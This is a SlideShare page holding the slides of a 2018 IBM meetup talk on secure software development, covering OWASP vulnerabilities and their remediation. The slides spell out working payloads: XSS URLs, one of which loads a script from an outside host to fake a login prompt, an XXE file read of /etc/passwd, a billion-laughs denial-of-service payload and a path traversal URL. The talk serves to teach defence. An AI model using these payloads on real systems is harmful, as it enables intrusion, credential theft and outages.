IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
 
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - OptimisationIBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
 
IBM Cloud Bordeaux Meetup - 20190325 - Software Factory
IBM Cloud Bordeaux Meetup - 20190325 - Software FactoryIBM Cloud Bordeaux Meetup - 20190325 - Software Factory
IBM Cloud Bordeaux Meetup - 20190325 - Software Factory
 
IBM Cloud Paris Meetup - 20190129 - Assima
IBM Cloud Paris Meetup - 20190129 - AssimaIBM Cloud Paris Meetup - 20190129 - Assima
IBM Cloud Paris Meetup - 20190129 - Assima
 
IBM Cloud Paris Meetup - 20190129 - Myrtea
IBM Cloud Paris Meetup - 20190129 - MyrteaIBM Cloud Paris Meetup - 20190129 - Myrtea
IBM Cloud Paris Meetup - 20190129 - Myrtea
 
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelleIBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
 
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes & Rule-based Sm...
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes &  Rule-based Sm...IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes &  Rule-based Sm...
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes & Rule-based Sm...
 
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger WorkshopIBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
 
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public AdministrationIBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
 

Recently uploaded

Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Inflectra
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
DianaGray10
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
Prayukth K V
 
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
91mobiles
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Albert Hoitingh
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
Safe Software
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
Guy Korland
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
DianaGray10
 
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
Product School
 
JMeter webinar - integration with InfluxDB and Grafana
JMeter webinar - integration with InfluxDB and GrafanaJMeter webinar - integration with InfluxDB and Grafana
JMeter webinar - integration with InfluxDB and Grafana
RTTS
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Jeffrey Haguewood
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
Elena Simperl
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
ThousandEyes
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
Product School
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 

Recently uploaded (20)

Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
 
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
 
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
 
JMeter webinar - integration with InfluxDB and Grafana
JMeter webinar - integration with InfluxDB and GrafanaJMeter webinar - integration with InfluxDB and Grafana
JMeter webinar - integration with InfluxDB and Grafana
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 

IBM Cloud Paris meetup 20180329 - Security in a Software Lab Dev

  • 1. Security in the development at IBM Lab Meetup March 29, 2018 Changhai KE Product Architect and Security Lead PhD, CISSP changhai.ke@fr.ibm.com
  • 2. About my organization and me • Operational Decision Manager offerings • Business Rules platform for modeling, governance and execution • Decision Services, Decision Warehouse, Operational Intelligence • On-prem, SaaS • Product architect & security lead • Requirements, development, testing, compliance, pre-sales, support, etc. • Solicits developers, team leads, offering managers • Explain, argue, arbitrate, assess and assume some degree of the risk • IBM France Lab • From an ex French company 4 avril 2018 -- 2 --
  • 3. Agenda • General development guidelines for security • Some vulnerability examples (in OWASP top 10) • Wrap-up 4 avril 2018 -- 3 --
  • 4. Security in the development Security is in all the phases, of course! • Planning • Design • Development • Tests, validation • Audits, certification, compliance program • Support, Incident reporting 4 avril 2018 -- 4 --
  • 5. Security in the development (1) • Planning • Awareness • Training • Resource & Competency • Tools • Audits • Design • Stack (Java, App Server, 3rd party jars, web frontend, etc.) • Topology (Reverse proxy, firewall, VLAN, HA-DR, SLA) • Authentication, authorization, SSO, SAML • API protection: Basic Auth, Oauth, OpenID Connect, etc. • Encryption, data privacy protection 4 avril 2018 -- 5 --
  • 6. Security in the development (2) • Development • Coding guidelines: SQL queries, XML parsers, Encoder / decoder, sanitization, etc. • Common classes • Tools: openssl, certificate management, developer tools, IDE plugins • Unit tests • Tests, validation • Security unit and validation tests • Scanning: static code analysis, web scanning • Penetration tests: Tests by ethical hackers 4 avril 2018 -- 6 --
  • 7. Security in the development (3) • Audits • Certification • Compliance • Support • Incident Handling • 3rd party vulnerabilities • Own vulnerabilities • PSIRT (Product Security Incident Response Team) 4 avril 2018 -- 7 --
  • 8. Some common vulnerabilities 4 avril 2018 -- 8 --
  • 9. Cross-Site Scripting (XSS) • Severity: HIGH (if exploitable) • CVSS: 7.0-10.0 (if exploitable) • OWASP 2017 Top 10: A7 (Cross-Site Scripting) • Target: End-user • Two common types: • Reflected XSS • Stored (or Persistent) XSS OWASP: Open Web Application Security Project 4 avril 2018 -- 9 --
  • 10. XSS – Reflected • Reflected XSS: The attacker submits JavaScript code to the application via a URL parameter, the parameter is then attached to a hyperlink. When a user clicks on the (malicious) link, the page is loaded and the JavaScript is executed. 4 avril 2018 -- 10 --
  • 11. XSS – Stored (or persistent) • Stored XSS: The attacker submits JavaScript code to the application and the code is stored. When a web page is loaded, the Javascript code is executed. 4 avril 2018 -- 11 --
  • 12. XSS Example • Consider a web application that provides search functionality, with the following URL: • http://www.insecurelabs.org/Search.aspx?query=hello • Searched string entered in a field: 4 avril 2018 -- 12 --
  • 13. XSS Example: passing a Java script JavaScript input strings are also accepted http://www.insecurelabs.org/Search.aspx?query=%3Cscript%3Ealert%28%27XSS+security+alert% 27%29%3C%2Fscript%3E (not encoded version: http://www.insecurelabs.org/Search.aspx?query=<script>alert('XSS security alert')</script>) 4 avril 2018 -- 13 --
  • 14. XSS Example: Javascript login page Pass a JavaScript that pops up a login window: http://www.insecurelabs.org/Task/Rule1?query=%3Cscript+src%3D%22h ttp%3A%2F%2Fhck.me%2Flog.js%22%3E%3C%2Fscript%3E Not encoded: http://www.insecurelabs.org/Task/Rule1?query= <script src="http://hck.me/log.js"></script> 4 avril 2018 -- 14 --
  • 15. XSS – Remediation Two steps to prevent XSS • Sanitize user inputs: make sure data submitted by the user fits the application expectations. • Encode the data before displaying it using HTMLEntities encoding. Special characters will be encoded using the HTML entity equivalent. Check the OWASP cheat sheet (https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) 4 avril 2018 -- 15 --
  • 16. XML XXE (XML External Entities) attack • CVSS: 7.0 – 10.0 • Severity: HIGH • OWASP 2017 Top 10: A4 (XML External Entities) 4 avril 2018 -- 16 --
  • 17. XML XXE: How this works? • Attacker submits an XML payload to an application / servlet • XML parsing may be badly configured • Retrieve local or remote system files • Cause Denial of Service 4 avril 2018 -- 17 --
  • 18. XML XXE: An example with shipment XML payload for the shipment to an address in Paris 4 avril 2018 -- 18 -- <Shipment> <Id>762378</Id> <Package>Rp7845ZK</Package> <FirstName>Paul</FirstName> <LastName>Dupont</LastName> <Address> <Street>Rue de Rivoli</Street> <City>Paris</City> <ZIP>75001</ZIP> <Region>Ile de France</Region> </Address> </Shipment>
  • 19. XML XXE: File access using XXE Defines a DTD with some entities. Note: XML External Entity can reference a URI or URL. 4 avril 2018 -- 19 -- <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd” >]> <Shipment> <Id>762378</Id> <Package>Rp7845ZK</Package> <FirstName>Paul</FirstName> <LastName>&xxe;</LastName> <Address> <Street>Rue de Rivoli</Street> <City>Paris</City> <ZIP>75001</ZIP> <Region>Ile de France</Region> </Address> </Shipment>
  • 20. XML XXE: DoS with entity expansion Defines recursive entity expansion which consumes memory (aka one billion laughs). 4 avril 2018 -- 20 -- <?xml version="1.0”e encoding="ISO-8859-1"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <Shipment> <Id>762378</Id> <Package>Rp7845ZK</Package> <FirstName>Paul</FirstName> <LastName>&lol9;</LastName> <Address> <Street>Rue de Rivoli</Street> <City>Paris</City> <ZIP>75001</ZIP> <Region>Ile de France</Region> </Address> </Shipment> Java: Out of Memory Error !
  • 21. XML XXE: Remediation • Disable DTDs (External Entities) completely. • Or otherwise disable ENTITY tags • in the XML parser used by the application. Note: Often, XML parsers allow External Entities by default. • Use XML schema than DTDs • Other applications use JSON • other vulnerabilities, not the same 4 avril 2018 -- 21 -- validator.setFeature("http://xml.org/sax/features/external-general-entities", false); validator.setFeature("http://xml.org/sax/features/external-parameter-entities", false); validator.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • 22. File Path Traversal – The basics… • Severity: HIGH • CVSS: 7.0-10.0 • OWASP 2017 Top 10: A5 (Broken Access Control) • Target: System 4 avril 2018 -- 22 --
  • 23. File Path Traversal • Attacker submits a file path to the application via a parameter. The Attacker typically uses relative paths (../../../etc/passwd) or absolute paths (/etc/passwd) to access system files. 4 avril 2018 -- 23 --
  • 24. File Path Traversal – An example • File retrieval with File Path Traversal • Consider a web application that uses URL parameters to reference resource files, like these: • https://www.example.com/get-files.jsp?file=report.pdf • In this application, it’s possible to insert a malicious string as a parameter value to access files outside the directory: • https://www.example.com/get-files.jsp?file=/etc/passwd 4 avril 2018 -- 24 --
  • 25. File Path Traversal – Remediation Multiple ways to prevent File Path Traversal: • Reference known files via an index number rather than their name, and use application-generated filenames to save user- supplied file content. • Sanitize and validate user inputs – filter dot-dot (..) sequences, for example. • Accessible files in a specific directory or volume • Use file system API to verify that the file to be accessed is actually located in the base directory for the application. 4 avril 2018 -- 25 --
  • 26. Other vulnerabilities • Cookies: configuration, encryption etc. • Session management • Use of HTTPS (TLS 1.1, TLS 1.2 etc.) • Insecure ciphers • Certificate verification • PII stored in clear • Passwords (PII) not encrypted, not hashed • API protection 4 avril 2018 -- 26 --
  • 27. Wrap-up (1) • Design, architecture • Single Sign On, Reverse Proxy Server, Failover topology, LDAP • Awareness, training • Phishing exercise, awareness campaign, seminars • Languages, tools • Prog languages, developer tools, cURL, openssl, • Shared classes, libraries • PreparedStatement, XML parsers, HTTP client, certificate management 4 avril 2018 -- 27 --
  • 28. Wrap-up (2) • Security planning and testing • Static code analysis • Dynamic Web scanning • Penetration testing • Audits, Certification, Compliance 4 avril 2018 -- 28 --